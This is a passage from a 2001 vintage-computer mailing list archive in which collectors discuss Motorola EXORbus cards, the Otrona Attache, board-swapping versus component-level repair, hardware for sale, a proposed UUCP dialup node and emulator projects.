you sure meet a lot of interesting people there. I recently meet an old time HP salesman that has ^H^H^H, er, had, a lot of HP stuff to sell. Let's just say that I helped him out :-) I now have a collection of HP Journals going all the way back to 1955. One of the other folks that I meet there tunred out to be one of the original designers of the HP 9825. I spent weeks picking his brains! Joe > - don From donm at cts.com Tue Jun 12 19:16:54 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:26 2005 Subject: Devoted site to the Otrona Attache? In-Reply-To: Message-ID: On Tue, 12 Jun 2001, David Vohs wrote: > Does anyone know where (if?) there are any sites devoted to the Otrona > Attache? I am asking because I not too long ago picked up one of these great > little machines (I know, lucky me!) & was wondering how large (small?) the > remaining user base is. I am unaware of an Otrona site, but I have four of the machines. Wish I knew where to get some CRT 5027 chips at a reasonable price, though. There was also a TI clone whose p/n does not come to me directly. - don > ____________________________________________________________ > David Vohs, Digital Archaeologist & Computer Historian. > Home page: http://www.geocities.com/netsurfer_x1/ > > Computer Collection: > > "Triumph": Commodore 64C, 1802, 1541, FSD-1, GeoRAM 512, MPS-801. > "Leela": Macintosh 128 (Plus upgrade), Nova SCSI HDD, Imagewriter II. > "Delorean": TI-99/4A, TI Speech Synthesizer. > "Monolith": Apple Macintosh Portable. > "Spectrum": Tandy Color Computer 3, Disto 512K RAM board. > "Boombox": Sharp PC-7000. > "Butterfly": Tandy Model 200, PDD, CCR-82. > "Shapeshifter": Epson QX-10, Titan graphics & MS-DOS board, Comrex HDD. > "Scout": Otrona Attache. > ____________________________________________________________ > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com > > From rigdonj at intellistar.net Tue Jun 12 19:20:03 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:26 2005 Subject: Motorola EXORbus docs needed In-Reply-To: Message-ID: <5.1.0.14.1.20010612201725.00a02a90@mailhost.intellistar.net> ???? I thought YOU had had that big load of EXOR-Bus stuff. What kind of system was that that you picked up so much of in Georgia or where ever it was? Joe At 03:08 PM 6/12/01 -0400, you wrote: >Joe, > >Better stay out of the sun. I think you fried to many neurons. Mike ??? >has the EXOR-bus stuff :-) > >SteveRob > > > >>From: joe >>Reply-To: classiccmp@classiccmp.org >>To: classiccmp@classiccmp.org >>Subject: Re: Motorola EXORbus docs needed >>Date: Tue, 12 Jun 2001 09:14:04 -0400 >> >>HI Rich, >> >> I'm glad to see someone else is interested in the Motorola >>stuff. Steve Robertson has a **bunch** of docs for the EXOR-bus stuff. He >>and one other list member (I can't think of his name right now) are the one >>two that I know of that are seriously interested in the EXOR-bus stuff. I'm >>interested in it but I have too many projects already so I've been passing >>all the stuff that I find onto them. I've got a pile of EXOR-bus cards >>here right now that I need to go through. Steve and I were supposed to get >>together at the UCF hamfest last weekend and I was going to give it all to >>him but both of us had other things that we had to do so we never made it. > >_________________________________________________________________ >Get your FREE download of MSN Explorer at http://explorer.msn.com From rigdonj at intellistar.net Tue Jun 12 19:34:55 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:26 2005 Subject: EXORbus cards, info needed In-Reply-To: Message-ID: <5.1.0.14.1.20010612202541.00a04380@mailhost.intellistar.net> At 03:29 PM 6/12/01 -0400, you wrote: >Hello all, > >As promised, here is the list of EXORbus cards that I have... Any docs or >information on these would be greatly appreciated! (Thanks to Mike and Joe >for already replying to my previous post)... > >1 MEX68WW Wire-Wrap prototyping Board (uh, well, I guess this one is >self-explanatory :-) ) Not much to tell. Standard size EXORciser plug-in module, compatible with EXORciser bus, standard pin spacing for 14, 16 and 24 pin wire wrap sockets, provisons for two 50 pin ribbon cables. >1 CMS 9601-501 "Utility Buffer/Cable Breakout" Board (2 ports) >1 CMS 9601-503 "Cable Breakout" Board (8 ports) >2 Chrislin Industries memory board -- 32 4116 chips >2 Motorola Micro Module 1A (one has 4 2708 EPROM's, labels all faded) Features: MC 6800 MPU, one 6850 Async Communications Interface Adapeter (ACIA) with RS-232 interface, two 6820 PIAs, 1 MHz crystal, 1K static RAM, 1k AROM (what's an AROM?) or ROM (or 2k) firmware program memories, on board reset circuitry, Dynamic RAM refresh circuitry, 59k or 55k of unuse dmemory space available (depending on the type of ROM selected), EXORciser and Micromodule family bus compatible. Joe From dogas at bellsouth.net Tue Jun 12 19:44:16 2001 From: dogas at bellsouth.net (Mike) Date: Sun Feb 27 19:04:26 2005 Subject: Motorola EXORbus docs needed References: <5.1.0.14.1.20010612201725.00a02a90@mailhost.intellistar.net> Message-ID: <001301c0f3a1$fa32eea0$e162d6d1@DOMAIN> From: joe > ???? I thought YOU had had that big load of EXOR-Bus stuff. What kind of > system was that that you picked up so much of in Georgia or where ever it was? You mean someone came into MY state and took EXORbus stuff out??? Bastards... ;) - Mike: dogas@bellsouth.net From rigdonj at intellistar.net Tue Jun 12 19:52:17 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:26 2005 Subject: EXORbus cards, info needed In-Reply-To: Message-ID: <5.1.0.14.1.20010612204731.02246410@mailhost.intellistar.net> >1 CMS 9609 MPU board (6809, 2 6821's, 2 6850's, 3 2716 EPROM's, one marked >"Debug 09", others unlabeled) I wonder if that might be a Motorola MICRObug Monitor/Debug, or a copy of it? Motorola sold it both on a board and as an individual ROM. I'd try to read it with an EPROM burner and dump the code and see if you can find any copyrights, help instructions and/or commands. Joe From rigdonj at intellistar.net Tue Jun 12 20:01:55 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:26 2005 Subject: Ebay horror ... In-Reply-To: References: <004001c0f31d$5a8f0f20$9cc762d8@idcomm.com> Message-ID: <5.1.0.14.1.20010612205739.0224a610@mailhost.intellistar.net> At 11:23 PM 6/12/01 +0100, Tony wrote: >That depends on the amount of gold plating, I believe. Certainly I've >seen surplus PCBs in the UK which have had the gold-plated edge fingers >cut off, but where the rest of the board is intact. I assume this is >because the gold-plated parts are worth recycling. > >I find this annoying, BTW. I don't know exactly what the gold on a card >edge is worth, but it can't be more than a few pounds. Just as a rule of thumb, the edge connectors USED to be worth about 1 cent per contact however the price of gold has dropped considerably. Makes you sick doesn't it? Joe From sieler at allegro.com Tue Jun 12 20:08:21 2001 From: sieler at allegro.com (Stan Sieler) Date: Sun Feb 27 19:04:26 2005 Subject: IBM 5110 available (two) Message-ID: <200106130108.SAA20810@opus.allegro.com> Hi, Passing this on for a friend...email him, not me! There are two IBM 5110 computers (BASIC only) available from bfrogel1@san.rr.com They're in Chatanooga, TN, and are in running condition. They include the large 8" floppy disk drives ... and, no "large" isn't a reference to 8" vs. modern floppies (check the picture and see!) Pictures at: http://www.sieler.com/ibm5110/ I'm not associated with Bernard, or the sale of the two computers... I was thinking about buying them, and put the pictures on my web site so a friend could look at them. (The cabinet below each computer is *just* a dual 8" floppy drive... a year later, IBM had shrunk the drive electronics to the point where they could integrate the drives into the computer, and still have a desktop computer!) I think he's looking for $1500 for the pair, not including shipping. He's the original purchaser, and used them in his business. -- Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.sieler.com From bdc at world.std.com Tue Jun 12 20:09:02 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:26 2005 Subject: VXT2000 images ? In-Reply-To: Message-ID: On Tue, 12 Jun 2001, Peter C. Wallace wrote: > On Tue, 12 Jun 2001, Tom Uban wrote: > > I seem to recall seeing some information on this in the past, but > > I haven't been able to dredge any up. > > > > Does anyone know if a VXT2000 can be booted from a non-dec unix or > > windows box? > [...] > > It probably will boot from anything with TFTP but may require MOP, not > sure... And even if it requires MOP, there's a MOP server which runs under Linux, NetBSD, and I think OpenBSD. I use this server to boot my various VAX systems diskless. -brian. From rigdonj at intellistar.net Tue Jun 12 20:28:39 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:26 2005 Subject: Motorola EXORbus docs needed In-Reply-To: <001301c0f3a1$fa32eea0$e162d6d1@DOMAIN> References: <5.1.0.14.1.20010612201725.00a02a90@mailhost.intellistar.net> Message-ID: <5.1.0.14.1.20010612212636.0224e0f0@mailhost.intellistar.net> At 08:44 PM 6/12/01 -0400, you wrote: >From: joe > > > ???? I thought YOU had had that big load of EXOR-Bus stuff. What kind >of > > system was that that you picked up so much of in Georgia or where ever it >was? > >You mean someone came into MY state and took EXORbus stuff out??? >Bastards... Well, you should expect that from us sneaky Floridians. We're good at stealing computers, rigging elections, etc. :-) Joe >;) >- Mike: dogas@bellsouth.net From vaxman at qwest.net Tue Jun 12 21:01:56 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:04:26 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: Message-ID: High-end monitors typically do, probably because they also support sync-on-green, and can be used with a variety of systems. clint On Mon, 11 Jun 2001, Mike Ford wrote: > >> My (modern) Mitsubishi Diamond Pro 21TX accepts both Sync-on-green > >> and separate sync. I suspect that most PC monitors with BNCs will > >> do the same. > > > >isn't that an oxymoron? PC generally don't use BNC. :) > > Its the rage again, all the really hot new monitors have BNC (as well as > normal SVGA HD15). > > > > From KenzieM at sympatico.ca Tue Jun 12 21:15:21 2001 From: KenzieM at sympatico.ca (Mike Kenzie) Date: Sun Feb 27 19:04:26 2005 Subject: Fw: Tandy and Amstrad manuals Message-ID: <000d01c0f3ae$b40b9190$0101a8c0@sympatico.ca> I'm forwarding this in case anyone on this list is interested in these manuals. > Ervin I. Szabo (cy335@FreeNet.Carleton.CA) writes: > > I have a couple of manuals for the Tandy 1400 > > laptop, and two manuals for the AMSTRAD PCW9512 word- > > processor/computer > > if interested, l please, let me know From foo at siconic.com Tue Jun 12 20:36:51 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:26 2005 Subject: Devoted site to the Otrona Attache? In-Reply-To: Message-ID: On Tue, 12 Jun 2001, David Vohs wrote: > Does anyone know where (if?) there are any sites devoted to the Otrona > Attache? I am asking because I not too long ago picked up one of these > great little machines (I know, lucky me!) & was wondering how large > (small?) the remaining user base is. I've only ever seen two of these out in the wild, and both are part of the Alameda County Computer Resource Center collection (where I am moving my collection to). I'd like to get my hands on my own :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From anheier at owt.com Tue Jun 12 22:09:22 2001 From: anheier at owt.com (Beth Anheier) Date: Sun Feb 27 19:04:26 2005 Subject: Toshiba T1000 Portable- more closet cleaning Message-ID: I have a Toshiba T1000 portable personal computer that I would like to offer up for trade or sale. It has built in MS-DOS 2.11, 640KB RAM, 8088 processor, 3.5" 720K floppy, 640 x200 LCD, CGA external drive, internal modem, parallel port, serial port, original user manual and carrying case. It's in good shape and functional. If this would fit into your collection, please contact me directly at: anheier@owt.com thanks Norm From edick at idcomm.com Tue Jun 12 22:23:34 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:26 2005 Subject: Ebay horror ... References: Message-ID: <001701c0f3b8$3a7bd560$9cc762d8@idcomm.com> You're right of course, about the PCB's that are of interest to you, but what about the ones that aren't? I've often snagged boards, not because I knew and wanted what they do, but because I knew and wanted what the IC's on the board could do and I wanted that in my inventory. I once built up a very-wide-word ALU using parts salvaged from several discrete DSP boards I was able to scrounge from a scrapper. I got them out of the dumpster, BTW, so they didn't cost anything. I've never seen so many 74S283's in one application since then. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Tuesday, June 12, 2001 4:23 PM Subject: Re: Ebay horror ... > > > > It is, perhaps, an honorable sentiment, what you suggest, Tony, but not > > practical if you expect your hobby to help support itself. > > > I find this annoying, BTW. I don't know exactly what the gold on a card > edge is worth, but it can't be more than a few pounds. Often the > complete PCB is worht a lot more than that to me -- to be used in the > machine it was supposed to run in. As it is, the only use for the PCB is > to have the 'interesting' ICs removed (generally things like 2900 series, > ECL, etc) > > -tony > > From SUPRDAVE at aol.com Tue Jun 12 22:23:26 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:04:26 2005 Subject: Fastpath 4 boxes available Message-ID: <112.3d3c03.285836ae@aol.com> I have two of these things available. I think they allow appletalk to tcpip connections. Prefer to trade for IBM SCSI drives 400m-2g or any PS/2 accessories. -- DB Young Team OS/2 old computers, hot rod pinto and more at: www.nothingtodo.org From vaxcat at retrocomputing.com Tue Jun 12 22:26:01 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:26 2005 Subject: Interest in UUCP? In-Reply-To: <200106130108.SAA20810@opus.allegro.com> Message-ID: I was talking with a friend at work today, telling him about the uucp node I set up at my last job, and I got to thinking. (Always dangerous.) Since most vintage machines can't run TCP/IP but CAN run uucp, would there be any interest in a dialup uucp node for retrieving email, files, etc specifically geared toward vintage machines? Of course, it'd be a toll call to Des Moines, Iowa so that's an issue. But, other than that, I have the hardware and know-how to set one up and I'm sure list members would be either self-supporting or able to support each other. Just thinking and looking for reactions, ideas, etc. Thanks... Anthony Clifton Des Moines, Iowa From edick at idcomm.com Tue Jun 12 22:29:49 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:27 2005 Subject: Ebay horror ... References: Message-ID: <002c01c0f3b9$1a04dec0$9cc762d8@idcomm.com> While it's probable you're right about your own relationship with your computers, others seem to have different relationships. My own experience suggests that if I replace the serial port board with a fully functional and identical one, the fault in the serial port board can be fixed AFTER the system is running again. Otherwise, I have to fix the board first. If that's the box I use to order the parts needed to fix the serial board, I have a problem that a board swap will fix and no other method will handle as quickly. Now, maybe swapping out the offending component won't fix some systems, but I don't have any of those. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Tuesday, June 12, 2001 4:33 PM Subject: Re: Ebay horror ... > > > > I won't say you're alone there, but I've more often than not seen people, > > particularly people paid to do this sort of thing, isolate faults to the board > > level by swapping boards, then sending the board off for depot repair. I guess > > if you don't mind that the machine is down until the board is fixed then it > > doesn't matter, but if that's the case, the machine isn't that important. > > > Mnay people have tried to convince me that board-swapping is worthwhile, > none have ever succeeded. I've tried it twice, and on both occasions it > was a total waste of time. It didn't cure the fault, it didn't tell me > where the fault was (in fact in one case it made me even more confused). > I had to spend the time to find the real fault anyway. And if I'd started > doing that rather than swapping boards I'd have had the system running > much sooned. > > And on serveral occasions I've managed to _repair_ the old board using > components sitting around on my workbench or in the junk box before the > field servoid has managed to order the right replacement board, let alone > actually have it in his hand. > > However, you are also missing a _very_ large point here. Whether or not > component level diagnosis/repair is faster or slower is _irrelevent_ to > me. I enjoy component level repair. I enjoy tracing faults. I enjoy > repairing things that have been claimed to be unrepairable. > > It's a hobby. In general, it doesn't matter if one of my classics has > some downtime. I'm not running them all 24/7 anyway. Nobody else is > depending on my machines. So if I have a fault and it takes me a couple > of weeks to repair it (remember I can't spend all my time repairing > computers :-)), so what? > > > > > Having spares of everything is a strategy for keeping a system running. It may > > A complete second system which you can use for backup is one thing. A > collection of parts that you randomly swap into a faulty system is > something else. The former is useful, the latter is IMHO not a way to > maintain a reliable machine. Certainly if I was depending on the results > from a system, I would not depend on a system which only seemed to be > working. And in general board swapping is done by replacing modules until > the fault _seems_ to have gone away -- the machine boots and passes > diagnostics. The real fault is not found, it is not known that it has > been put right. No thanks! > > I've posted my horror stories often enough -- find them in the archives > if you want them. Suffice it to say I've had too many problems caused > directly or indirectly by board-swapping to ever want to do it again. > > -tony > > From aw288 at osfn.org Tue Jun 12 22:34:42 2001 From: aw288 at osfn.org (William Donzelli) Date: Sun Feb 27 19:04:27 2005 Subject: FW: this weekend (and RL02s) Message-ID: An Open House at RCS/RI ... We will be getting rid of quite a few things, including a number of untested RL02s (drives, not packs). Obviously, these are pick up only. Come on over! ---------- Forwarded message ---------- Date: Tue, 12 Jun 2001 11:10:50 -0400 (EDT) From: Michael Umbricht To: comp-hist@shrimp.osfn.org Subject: this weekend Our Open House is Saturday, June 16th from 10am - 4:30pm The topic is Games! and we will be featuring SpaceWar on the PDP-12 and other games. On another note, we need some bodies to help move some things around on Friday afternoon. I'll be here from about noon on, and Dave will be stoping by after work. But we need at least two more people. RSVP if you can help. The goal is to move the Wang VS100 and peripherals out into the hallway, in preperation for RICM to pick them up on Saturday. Dave and I have already moved the printer, disk and tape drives to the edge of the aisle, but getting them to the door will require moving several other machines. Please help!! -mikeu From edick at idcomm.com Tue Jun 12 22:37:50 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:27 2005 Subject: old external Apple drive References: Message-ID: <004101c0f3ba$389c2e00$9cc762d8@idcomm.com> I recently was given a Western Digital Hard Disk 20AP, obviously intended for use with an Apple computer of some sort. It identifies itself as a Western Digital WD1006-something-or-other but doesn't spin up, and that suggests to me that there might be an interesting bridge controller in this box. Unfortunately, I don't know how to open the box. Does anybody know how that might be done? Does anybody know how to operate this device (low-level details, not Apple-user instructions)? Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Tuesday, June 12, 2001 4:33 PM Subject: Re: Ebay horror ... > > > > I won't say you're alone there, but I've more often than not seen people, > > particularly people paid to do this sort of thing, isolate faults to the board > > level by swapping boards, then sending the board off for depot repair. I guess > > if you don't mind that the machine is down until the board is fixed then it > > doesn't matter, but if that's the case, the machine isn't that important. > > > Mnay people have tried to convince me that board-swapping is worthwhile, > none have ever succeeded. I've tried it twice, and on both occasions it > was a total waste of time. It didn't cure the fault, it didn't tell me > where the fault was (in fact in one case it made me even more confused). > I had to spend the time to find the real fault anyway. And if I'd started > doing that rather than swapping boards I'd have had the system running > much sooned. > > And on serveral occasions I've managed to _repair_ the old board using > components sitting around on my workbench or in the junk box before the > field servoid has managed to order the right replacement board, let alone > actually have it in his hand. > > However, you are also missing a _very_ large point here. Whether or not > component level diagnosis/repair is faster or slower is _irrelevent_ to > me. I enjoy component level repair. I enjoy tracing faults. I enjoy > repairing things that have been claimed to be unrepairable. > > It's a hobby. In general, it doesn't matter if one of my classics has > some downtime. I'm not running them all 24/7 anyway. Nobody else is > depending on my machines. So if I have a fault and it takes me a couple > of weeks to repair it (remember I can't spend all my time repairing > computers :-)), so what? > > > > > Having spares of everything is a strategy for keeping a system running. It may > > A complete second system which you can use for backup is one thing. A > collection of parts that you randomly swap into a faulty system is > something else. The former is useful, the latter is IMHO not a way to > maintain a reliable machine. Certainly if I was depending on the results > from a system, I would not depend on a system which only seemed to be > working. And in general board swapping is done by replacing modules until > the fault _seems_ to have gone away -- the machine boots and passes > diagnostics. The real fault is not found, it is not known that it has > been put right. No thanks! > > I've posted my horror stories often enough -- find them in the archives > if you want them. Suffice it to say I've had too many problems caused > directly or indirectly by board-swapping to ever want to do it again. > > -tony > > From spectre at stockholm.ptloma.edu Tue Jun 12 22:47:26 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:27 2005 Subject: Interest in UUCP? In-Reply-To: from "Anthony Clifton - Retrocomputing.com" at "Jun 12, 1 10:26:01 pm" Message-ID: <200106130347.UAA11498@stockholm.ptloma.edu> > Since most vintage machines can't run TCP/IP but CAN run uucp, would > there be any interest in a dialup uucp node for retrieving email, files, etc > specifically geared toward vintage machines? This brings up a related point -- I've been toying with the idea of writing a uucp client for the Commodore 64 for some time. Does anyone have recommendations for a good, complete description of the uucp specification? -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Optimization hinders evolution. -------------------------------------------- From xds_sigma7 at hotmail.com Tue Jun 12 22:56:06 2001 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 19:04:27 2005 Subject: Devoted site to the Otrona Attache? Message-ID: I have one, sans docs... I couldn't be much of a Colorado computer collector without a machine from Boulder... Will J _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From frustum at pacbell.net Tue Jun 12 23:11:30 2001 From: frustum at pacbell.net (Jim Battle) Date: Sun Feb 27 19:04:27 2005 Subject: Sol-20 and Helios pleas In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151127@jeffserver.tegjeff.com> Message-ID: <4.3.2.7.0.20010612204545.00b4c9f0@postoffice.pacbell.net> At 07:53 AM 6/12/01 -0400, Douglas Quebbeman wrote: >... >Say, the PTDOS discussion just jogged my memory... wasn't someone >in PROTEUS going to modify it so that it would support soft-sectored >disk systems like the NorthStar and such? Do you know if that ever >happened? Contrary to your earlier surmise, I actually have only one complete SOLUS NEWS issue. I have a jumble of disorganized copies that I haven't been able to sort out yet. However, the one issue that I do have talks about this mod. At least, I think it is what you are talking about. The Vol 1, Num 5 issue (aug/sep 78) has an article by Ron Parsons called "A Soft-sector Disk Controller for the Helios". The Helios disk controller remains the same, but his system also has a Tarbell disk controller. Through extensive hardware and software mods, he can mux between the original PT hard-sectored disk controller to drive the Helios system, or toggle some flop to instead use the soft-sectored Tarbell disk controller. The article has some code snippets and a (partial?) schematic of the mod. If you want it I can scan it and send it along to you. >If not, I'll have to put that on my to-do list. But there are a few >years' worth of projects ahead of it (CDC 6000 series simulator, >PL/1 compiler, Multics simulator, Multics source code rescue, etc). I know that feeling. I've found that I'm enjoying working on my Sol emulator more than using the real system, so it has changed the nature of my collecting/collection. I learn so much more in writing an emulator because you really do have to understand every last bit. There are parts of the machine that I thought I knew, but when it came time to write code that handled every possibility, that's when I really had to learn how things worked (not that I'd actually duplicate all functionality, but at least I'd know which corners I was trimming). Emulation projects (certainly not all of them will get done before I burn out): 1) Sol emulator (Solace) -- northstar disk emulation, Helios disk emulation, PT-DOS 2) Wang 2200 emulator (I'll die happy if I can get this running). CPU/keyboard/display/tape system. Floppy disk and hard disk are not likely to be emulated. I just want to recreate the machine that taught me how to program. Then in the back of my head, I'm toying with the idea of graduating from software emulation to hardware emulation. It would be fun to put a Wang 2200 on a 3"x3" pc board using a Xilinx, an SRAM, and an EPROM. Video out would be standard baseband B&W video; the keyboard would be a standard PS/2 PC keyboard mapped to look like the wang keyboard, plus emulation of the cassette drive via a removable flash ROM cards. 3) HP-85/86/87 emulator (cool little CPU) -- I have most all the resources I need, but it will depend on time and getting legal approval from HP. 4) TI CC-40/TI-74. Another neat little CPU. I've contacted TI legal and they gave me preliminary "I don't see why not" email, but it is pending on them checking to make sure they didn't sell the I.P. for it to some third party. I was impressed that T.I. would go along with the joke. Likely to just be a minimalist job with no support for I/O other than LCD and keyboard. I'm in the process of selling off a good portion of my computer collection to raise money for shipping the Wang system. Besides, the machines I'm selling have already been emulated or aren't that interesting as emulation targets. >But if my sanity and health survives, it'll get done! Good luck! >Regards, >-doug q ----- Jim Battle == frustum@pacbell.net From jss at ou.edu Wed Jun 13 00:16:38 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:27 2005 Subject: Ebay horror ... In-Reply-To: References: Message-ID: <992409398.3b26f736a0fa3@email.ou.edu> Quoting Tony Duell : > I enjoy tracing faults. I enjoy repairing things that have been > claimed to be unrepairable. A fellow enthusiast that was the source of my first PDP-11 gets the same enjoyment. One time, he had just finished readying a PDP-8 to run and turned it on. Unfortunately, he did not notice the ground wire that was wandering around loosely in the card cage! The PDP lit up like a christmas tree. It took him nearly a year of work to locate and repair all the faults, but he succeeded. He keeps every one of the faulty components in a drawer somewhere as a memorial to his victory. -- Jeffrey S. Sharp jss@ou.edu From donm at cts.com Wed Jun 13 00:17:21 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:27 2005 Subject: old external Apple drive In-Reply-To: <004101c0f3ba$389c2e00$9cc762d8@idcomm.com> Message-ID: On Tue, 12 Jun 2001, Richard Erlacher wrote: > I recently was given a Western Digital Hard Disk 20AP, obviously intended for > use with an Apple computer of some sort. It identifies itself as a Western > Digital WD1006-something-or-other but doesn't spin up, and that suggests to me > that there might be an interesting bridge controller in this box. > Unfortunately, I don't know how to open the box. Does anybody know how that > might be done? Does anybody know how to operate this device (low-level details, > not Apple-user instructions)? There were a variety of those external drive boxes, Dick. Some snap together while others have screws hidden under feet, or ??? Can you describe it? - don From jss at ou.edu Wed Jun 13 00:46:41 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:27 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) In-Reply-To: <200106041143.f54BhPx10741@bg-tc-ppp478.monmouth.com> References: <200106041143.f54BhPx10741@bg-tc-ppp478.monmouth.com> Message-ID: <992411201.3b26fe4174d94@email.ou.edu> > > > > (*) Two MicroVAXish machines in dual rackmount BA23s > > > > (*) A MicroVAXish machine in a BA123 > > > > > > I am interested in these, depending on the processors > > > and options. > > > > I should know what I've got by next weekend. I'll keep you posted. Well, I didn't have time to get to the MicroVAXish machines this weekend. Hopefully I'll get to them in the next few days. The one in the BA123 was not in good shape overall, so I have turned it into parts to be sold individually. I still have yet to inventory those parts. :-) I'll keep you posted. -- Jeffrey S. Sharp jss@ou.edu From mikeford at socal.rr.com Wed Jun 13 00:52:49 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:27 2005 Subject: old external Apple drive In-Reply-To: References: <004101c0f3ba$389c2e00$9cc762d8@idcomm.com> Message-ID: >> I recently was given a Western Digital Hard Disk 20AP, obviously >>intended for >> use with an Apple computer of some sort. It identifies itself as a Western Why do you say obviously intended for use with an apple? I don't recall anything by WD that was for an Apple, or even Apple friendly. 20AP sounds more to me like some old parallel interface PC thing. From tim.mann at compaq.com Wed Jun 13 01:31:35 2001 From: tim.mann at compaq.com (tim.mann@compaq.com) Date: Sun Feb 27 19:04:27 2005 Subject: cw2dmk 1.6: now does RX02 also Message-ID: <200106130631.f5D6VZ8388692@pachyderm.pa.dec.com> I've updated the cw2dmk program to version 1.6. This is a program that uses the Catweasel ISA disk controller to read disk formats that are hard or impossible to read with an ordinary PC floppy disk controller. The new version adds a few features, among them the ability to read the DEC RX02 double density format. See http://www.tim-mann.org/trs80resources.html Source code is included under the GPL, so those who prefer to build their own hardware instead of buying a Catweasel (let's not start *that* debate again) may find it of some use too. Tim Mann tim.mann@compaq.com http://www.tim-mann.org Compaq Computer Corporation, Systems Research Center, Palo Alto, CA From GOOI at oce.nl Wed Jun 13 01:44:38 2001 From: GOOI at oce.nl (Gooijen H) Date: Sun Feb 27 19:04:27 2005 Subject: Any Dutch/Belgium Collectors ? Message-ID: Hi. I am here every workday, though I am not a frequent contributor compared to many others. If you want to see something of my collection, check http://home.12move.nl/~sh416008 I uploaded yesterday some new stuff, mainly PDP-11/34A. As many others, the site is under construction. Groeten / kind regards Henk Gooijen Nederweert-Eind The Netherlands > -----Original Message----- > From: William Staniewicz [mailto:wstan@localhostnl.demon.nl] > Sent: dinsdag 12 juni 2001 22:45 > To: classiccmp@classiccmp.org > Subject: Re: Any Dutch/Belgium Collectors ? > > > I have just begun collecting the Apollo's (Domain/OS). > Right now have a DN3010 with several DN3500's on the way > soon. Originally I am from the US so not a native here. > > On Tue, Jun 12, 2001 at 03:33:15PM +0200, Stefan wrote: > > Are there any Dutch or Belgium collectors here that I don't > know yet ? > > Just curious :) Think I know most of them, but hey, you > never know ;) > > > -- > Bill William Staniewicz > Amsterdam, NL > > From pechter at bg-tc-ppp1401.monmouth.com Wed Jun 13 06:53:41 2001 From: pechter at bg-tc-ppp1401.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:27 2005 Subject: Interest in UUCP? In-Reply-To: <200106130347.UAA11498@stockholm.ptloma.edu> from Cameron Kaiser at "Jun 12, 2001 08:47:26 pm" Message-ID: <200106131153.f5DBrg615851@bg-tc-ppp1401.monmouth.com> > > Since most vintage machines can't run TCP/IP but CAN run uucp, would > > there be any interest in a dialup uucp node for retrieving email, files, etc > > specifically geared toward vintage machines? > > This brings up a related point -- I've been toying with the idea of writing > a uucp client for the Commodore 64 for some time. Does anyone have > recommendations for a good, complete description of the uucp specification? I've got some old docs... but the best stuff is the stuff with Taylor uucp which can be found at all the GNU sites. BIll --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From chomko at greenbelt.com Wed Jun 13 07:01:53 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:27 2005 Subject: old external Apple drive References: <004101c0f3ba$389c2e00$9cc762d8@idcomm.com> Message-ID: <3B275631.5F985993@greenbelt.com> Mike Ford wrote: > >> I recently was given a Western Digital Hard Disk 20AP, obviously > >>intended for > >> use with an Apple computer of some sort. It identifies itself as a Western > > Why do you say obviously intended for use with an apple? I don't recall > anything by WD that was for an Apple, or even Apple friendly. 20AP sounds > more to me like some old parallel interface PC thing. I have the WD 40AP. It uses a DB-25 connector and I thought that it was SCSI, but wasn't convinced for sure. I do remember I didn't find much on the web for it one way or another. Does anyone know if its SCSI or TTL parallel? Any other info? Eric From dhquebbeman at theestopinalgroup.com Wed Jun 13 07:30:26 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:27 2005 Subject: Interest in UUCP? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151151@jeffserver.tegjeff.com> > Since most vintage machines can't run TCP/IP but CAN run uucp, would > there be any interest in a dialup uucp node for retrieving email, files, etc > specifically geared toward vintage machines? I've been thnking of this in a bit wider context. With some of the changes happening on the Internet, it's not quite as friendly as it used to be. An alternative network seems like a good solution, and uucp as been with us for a long time. We could even host rogue USENET newsgroups. -dq From dhquebbeman at theestopinalgroup.com Wed Jun 13 07:35:18 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:27 2005 Subject: this weekend (and RL02s) Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151152@jeffserver.tegjeff.com> > An Open House at RCS/RI ... Hi, Bill... : Founded in the autumn of 1994 as an informal association : of computer- history enthusiasts, RCS/RI 